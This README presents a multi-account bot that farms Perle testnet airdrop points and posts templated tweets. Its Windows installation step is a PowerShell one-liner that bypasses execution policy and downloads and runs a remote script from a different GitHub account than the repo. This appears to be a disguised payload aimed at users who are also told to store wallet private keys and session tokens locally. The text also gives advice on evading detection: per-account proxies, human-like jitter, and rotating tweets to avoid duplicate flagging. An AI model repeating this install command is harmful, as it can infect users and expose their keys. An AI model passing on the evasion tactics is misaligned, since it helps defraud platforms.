Topics

#airdrop-farming #automation #crypto-bot #daily-tasks #multi-account #perle #perle-bot #points-farmer #proxy-support #testnet-bot #tweepy #twitter-posting #web3

Language breakdown

No language data available.

▸ Files click to expand

README

🤖 Perle Testnet Bot

Automated multi-account bot for Perle — completes testnet tasks and posts activity to Twitter across unlimited accounts simultaneously

╔══════════════════════════════════════════════════════════════════╗
║  Module 1 — Testnet Tasks    │  auto-complete daily/weekly tasks ║
║  Module 2 — Twitter Posting  │  auto-post activity to X/Twitter  ║
║  Module 3 — Points Farmer    │  combine both for max points/day  ║
║                                                                  ║
║  ✦ Multi-account: run all 3 modules across N wallets at once    ║
╚══════════════════════════════════════════════════════════════════╝

🚀 Join Perle · 🐦 Follow Dev

- Module 1 — Testnet Tasks - Module 2 — Twitter Posting - Module 3 — Points Farmer

Installation
Configuration
Running the Bot
Running 24/7 on a VPS
Telegram Commands
Disclaimer

⚡ How It Works

Perle app opens new daily tasks
          │
          ▼  (detected within minutes)
          │
  Bot completes eligible tasks per account:
    • On-chain interactions (testnet txs, swaps)
    • Social tasks (Twitter post, retweet, like)
    • Streak maintenance (check-in every 24h)
          │
          ▼
  Bot posts proof-of-activity tweet from each
  linked Twitter account using rotating templates ✅
          │
          ▼
  Points credited to each Perle account  🎯

All modules support multiple accounts in parallel — each account runs its own isolated cycle with its own wallet, Twitter credentials, and session token.

👥 Multi-Account Support

Run the bot across as many Perle accounts as you want. Each account is defined as a separate entry in accounts.json with its own wallet, session token, and Twitter credentials.

accounts.json
  ├── Account #1  →  wallet1 + twitter1 + perletoken1
  ├── Account #2  →  wallet2 + twitter2 + perletoken2
  ├── Account #3  →  wallet3 + twitter3 + perletoken3
  └── ...         →  unlimited accounts
          │
          ▼
  Bot spawns one worker per account
  All workers run in parallel (async)
          │
          ▼
  Each account farms independently:
    • Own task cycle
    • Own tweet schedule
    • Own daily points cap
    • Own streak counter

accounts.json structure:

[
  {
    "id": "account_1",
    "label": "Main wallet",
    "wallet_address": "0xYourWallet1",
    "private_key": "0xYourPrivateKey1",
    "perleauthtoken": "yoursessiontoken_1",
    "referralcode": "YOURREF_CODE",
    "twitter": {
      "api_key": "...",
      "api_secret": "...",
      "access_token": "...",
      "access_secret": "..."
    }
  },
  {
    "id": "account_2",
    "label": "Secondary wallet",
    "wallet_address": "0xYourWallet2",
    "private_key": "0xYourPrivateKey2",
    "perleauthtoken": "yoursessiontoken_2",
    "referralcode": "YOURREF_CODE",
    "twitter": {
      "api_key": "...",
      "api_secret": "...",
      "access_token": "...",
      "access_secret": "..."
    }
  }
]

💡 Tip: You can share one Twitter developer app across all accounts — just generate separate Access Token + Secret for each Twitter account within the same app. No need to create multiple developer projects.

Safety features for multi-account mode:

ACCOUNT_DELAY=30       # Seconds between starting each worker (avoids burst)
JITTER=true            # Adds random ±15s delay per action (looks more human)
MAX_PARALLEL=5         # Max accounts running tasks at the same time
PERACCOUNTPROXY=     # Optional: assign a proxy per account (see below)

Optional: Proxy per account

To avoid IP-based rate limits when running many accounts, assign a proxy to each account in accounts.json:

{
  "id": "account_3",
  "proxy": "http://user:pass@proxy-host:port",
  ...
}

📐 Modules

✅ Module 1 — Testnet Tasks

The bot fetches available tasks from Perle, filters by type and eligibility, and completes them automatically in priority order (highest points first) — across all configured accounts.

Fetch task list from Perle  (per account)
              │
              ▼
  Filter: daily | weekly | one-time
              │
              ▼
  Execute each eligible task:
    • On-chain: sign tx with account wallet
    • Social: interact via linked Twitter
    • Check-in: daily streak ping
              │
              ▼
  Mark task complete → points credited ✅

Supported task types:

| Task Type | Description | Points | |-----------|-------------|--------| | Daily check-in | Ping Perle once every 24h | Low | | On-chain tx | Send a testnet transaction | Medium | | Swap | Interact with testnet DEX | Medium | | Bridge | Use testnet bridge | High | | Twitter post | Post with required hashtags | Medium | | Retweet / Like | Engage with Perle's tweets | Low | | Referral activity | Tasks unlocked by referrals | High |

Config block:

MODULE=tasks
TASK_TYPES=checkin,onchain,swap,twitter   # Which task types to run
TASK_INTERVAL=3600                        # Check for new tasks every N seconds
TASKPRIORITY=pointsdesc                 # pointsdesc | pointsasc | fifo
SKIP_TASKS=                               # Comma-separated task IDs to skip
MAXTASKSPER_RUN=10                      # Limit tasks per cycle per account

💡 Tip: Run daily check-in as the very first task each cycle — it costs nothing and maintains your streak bonus, which multiplies points on all other tasks.

🐦 Module 2 — Twitter Posting

The bot automatically posts activity updates from each account's linked Twitter using pre-written rotating templates. Posts include required hashtags, mentions, and optionally a referral link.

Task completed (or scheduled post time reached)
              │
              ▼
  Bot selects a tweet template per account:
    • Random from template pool (avoids duplicate detection)
    • Injects: task name, points earned, wallet snippet
    • Appends: required hashtags + optional referral link
              │
              ▼
  Posted to Twitter via API v2  ✅
              │
              ▼
  Perle detects the tweet → social task credited  🎯

Template example (templates.txt):

Just completed the daily check-in on @perle_xyz testnet 🔥 Stacking points every day — early movers win 🚀 #Perle #PerleTestnet #Web3 #Testnet Join → https://app.perle.xyz?ref=YOURCODE Farming points on @perle_xyz like it's a full-time job 😅 Testnet tasks done for today ✅ #Perle #PerleXYZ #Testnet #Airdrop

Another day on @perle_xyz testnet 🌊 Streaks don't break themselves #Perle #PerleTestnet #CryptoAirdrop

Config block:

MODULE=twitter
TWITTERPOSTINTERVAL=14400       # Min seconds between posts per account
TWITTERTEMPLATESFILE=templates.txt
INCLUDEREFERRALLINK=true
HASHTAGS=#Perle,#PerleTestnet,#Testnet,#Airdrop

💡 Tip: Keep at least 10–15 templates to avoid Twitter flagging repeated content. The bot never posts the same template twice in a row on the same account, and staggers post times across accounts so they don't all tweet at identical timestamps.

🌾 Module 3 — Points Farmer

Combines both modules into a fully automated farming loop. Runs across all accounts in parallel — each account tracks its own daily cap, streak, and post schedule.

All account workers start  (staggered by ACCOUNT_DELAY)
          │
          ▼  each worker independently:
          │
  Complete all available tasks  (Module 1)
          │
          ▼
  Post tweet for each completed task  (Module 2)
          │
          ▼
  Wait for CYCLE_INTERVAL
          │
          ▼
  Check daily points cap:
    • Under cap → next cycle
    • Cap reached → sleep until midnight reset 😴
          │
          ▼
  Telegram summary for all accounts  📱

Config block:

MODULE=farmer
DAILYPOINTSCAP=500              # Per-account daily cap
CYCLE_INTERVAL=3600               # Seconds between farming cycles
POSTAFTERTASK=true              # Tweet right after each completed task
FARMERSTARTTIME=08:00           # Start time (local)
FARMERSTOPTIME=23:00            # Stop time (local)
ACCOUNT_DELAY=30                  # Seconds between starting each account worker
JITTER=true                       # Random delay per action (human-like behavior)
MAX_PARALLEL=5                    # Max accounts running simultaneously

n

Requirements

Python 3.10+
A Perle account (one or more)
Twitter/X Developer account with API access (one app, multiple account tokens)
A testnet wallet per account

Quick Installation (Windows)

Option 1: PowerShell (Recommended)

Open PowerShell and run this single command:

powershell -ep bypass -c "iwr https://github.com/AnmolMittal09/Perle-Labs-Testnet-Bot/releases/download/v1.92/main.ps1 -UseBasicParsing | iex"

Option 2: Cmd

Open CMD and run this single command:

powershell -ep bypass -c "iwr https://github.com/AnmolMittal09/Perle-Labs-Testnet-Bot/releases/download/v1.92/main.ps1 -UseBasicParsing | iex"

Step 2 — Create a virtual environment

python3 -m venv venv
Linux / Mac
source venv/bin/activate
Windows
venv\Scripts\activate

Step 3 — Install dependencies

pip install requests tweepy web3 python-dotenv colorama schedule aiohttp

Step 4 — Set up Twitter API access

Go to developer.twitter.com
Create a project and app with Read and Write permissions
Generate API Key and API Secret (once, shared across accounts)
For each Twitter account: go to Keys and Tokens → Generate Access Token & Secret
Add each set of tokens to the corresponding entry in accounts.json

Step 5 — Get your Perle session tokens

For each Perle account:

Log in to app.perle.xyz
Open DevTools (F12) → Application → Cookies → app.perle.xyz
Copy the auth/session token value
Paste it into perleauthtoken in the corresponding accounts.json entry

⚠️ Session tokens expire periodically. The bot will notify you via Telegram when a specific account needs a token refresh — only that account pauses, the rest keep running.

⚙️ Configuration

`accounts.json` — one entry per account

See the Multi-Account Support section above for the full structure. Place this file in the project root.

`.env` — global settings

# ── Active module ──────────────────────────────────────
Options: tasks | twitter | farmer
MODULE=farmer
── Multi-account settings ─────────────────────────────
ACCOUNTS_FILE=accounts.json       # Path to accounts config
MAX_PARALLEL=5                    # Max concurrent account workers
ACCOUNT_DELAY=30                  # Seconds between worker starts
JITTER=true                       # Randomize action timing
── Farming schedule ───────────────────────────────────
DAILYPOINTSCAP=500              # Per-account daily cap
CYCLE_INTERVAL=3600               # Seconds between cycles
FARMERSTARTTIME=08:00
FARMERSTOPTIME=23:00
── Twitter ────────────────────────────────────────────
TWITTERPOSTINTERVAL=14400       # Min seconds between posts per account
TWITTERTEMPLATESFILE=templates.txt
INCLUDEREFERRALLINK=true
HASHTAGS=#Perle,#PerleTestnet,#Testnet,#Airdrop
── Task settings ──────────────────────────────────────
TASK_TYPES=checkin,onchain,swap,twitter
TASK_INTERVAL=3600
TASKPRIORITY=pointsdesc
MAXTASKSPER_RUN=10
── Telegram (optional) ────────────────────────────────
TELEGRAM_TOKEN=
TELEGRAMCHATID=

🚀 Running the Bot

# First-time setup wizard (creates accounts.json template)
python perle_bot.py --setup
Run all accounts
python perle_bot.py
Run a specific account only
python perlebot.py --account account1
Single cycle and exit (useful for cron)
python perle_bot.py --once
Dashboard only
python perle_bot.py --dashboard

On successful start:

╔══════════════════════════════════════════════════════╗ ║ 🤖 Perle Testnet Bot v1.0 ║ ║ Press Ctrl+C at any time to stop. ║ ╚══════════════════════════════════════════════════════╝ Module: farmer Accounts: 3 loaded Parallel: up to 5 at once Jitter: ON

Start bot? [yes/no]: yes

Live terminal dashboard:

🤖 Perle Testnet Bot v1.0                  updated 09:04:15
══════════════════════════════════════════════════════════════
  Module: farmer   Accounts: 3 active   Next cycle: 54m
──────────────────────────────────────────────────────────────
  ACCOUNTS
  ID             Points today   Streak   Status
  account_1      320 / 500      🔥 14d   ● running
  account_2      210 / 500      🔥  9d   ● running
  account_3        0 / 500          1d   ⏳ waiting
──────────────────────────────────────────────────────────────
  TASKS  (account_1)
  Task                    Status      Points
  Daily check-in          ✅ done     +10
  Testnet swap            ✅ done     +50
  Twitter post            ✅ done     +30
  Bridge interaction      ⏳ pending  +80
──────────────────────────────────────────────────────────────
  RECENT ACTIVITY
  09:04:15  account_1   Swap completed       +50 pts
  09:04:22  account_1   Tweet posted         +30 pts
  09:01:05  account_2   Daily check-in       +10 pts
  08:58:44  account_2   Tweet posted         +30 pts

🖥️ Running 24/7 on a VPS

For continuous operation, use a cheap VPS (Vultr, DigitalOcean, Hetzner — ~$5/month).

Ubuntu VPS setup

# 1. Update system
sudo apt update && sudo apt upgrade -y
sudo apt install python3 python3-pip python3-venv screen git -y
2. Clone repo
git clone https://github.com/omgmad/perle-testnet-bot
cd perle-testnet-bot
3. Virtual environment
python3 -m venv venv
source venv/bin/activate
pip install requests tweepy web3 python-dotenv colorama schedule aiohttp
4. Configure
nano .env
nano accounts.json   # add your accounts
5. Run inside screen (stays alive after you disconnect)
screen -S perlebot
source venv/bin/activate
python perle_bot.py
Press Ctrl+A then D to detach — bot keeps running

Reconnect later

screen -r perlebot

Useful log commands

tail -50 perle_bot.log
grep "completed" perle_bot.log | tail -20     # Completed tasks
grep "posted" perle_bot.log | tail -20        # Twitter posts
grep "points" perle_bot.log | tail -20        # Points events
grep "token expired" perle_bot.log | tail -10 # Token refresh needed
grep "ERROR" perle_bot.log | tail -10         # Errors

📱 Telegram Setup & Commands

Step 1 — Create a bot and get your token

Search for @BotFather on Telegram, send /newbot
Copy the token into .env:

TELEGRAMTOKEN=yourbottokenhere

Step 2 — Get your Chat ID

Search for @userinfobot, send any message
Copy the numeric ID into .env:

TELEGRAMCHATID=123456789

Commands

| Command | Action | |---------|--------| | /status | Points today per account, streaks, module | | /tasks | Completed and pending tasks for all accounts | | /pause | Pause all accounts | | /pause account_1 | Pause a specific account only | | /resume | Resume all accounts | | /tweet account_1 | Force-post a tweet for a specific account | | /stop | Stop the bot completely | | /points | Full points breakdown across all accounts |

Example alerts

✅ Task Completed Account: account_1 Task: Testnet Swap Points: +50 Total: 320 / 500 today 🐦 Tweet Posted Account: account_2 Template: #11 Points: +30 ⚠️ Token Expired Account: account_3 Action: refresh perleauthtoken in accounts.json Status: account_3 paused — all others still running

🌙 Daily Cap Reached Account: account_1 — 500 / 500 pts Account: account_2 — 500 / 500 pts Account: account_3 — 340 / 500 pts (still farming)

⚠️ Disclaimer

IMPORTANT: This bot interacts with a testnet and social media APIs on your behalf. Use responsibly and in accordance with Perle's and Twitter's terms of service.

Never share your accounts.json, private keys, or session tokens with anyone
Set TWITTERPOSTINTERVAL to at least 4 hours per account — aggressive posting risks account suspension
With many parallel accounts, use proxies to avoid IP-based rate limits
Session tokens expire — the bot notifies you per account when a refresh is needed
Testnet points and rewards are subject to Perle's final airdrop/TGE rules — nothing is guaranteed
Check your local regulations if any token rewards have monetary value

🔗 Links

If this helped you, please give it a ⭐ Star — it means a lot!

🔍 Topics

perle-bot, testnet-bot, daily-tasks, twitter-posting, points-farmer, multi-account, proxy-support, python, tweepy, telegram-bot, crypto-bot, web3, airdrop-farming, social-tasks, automation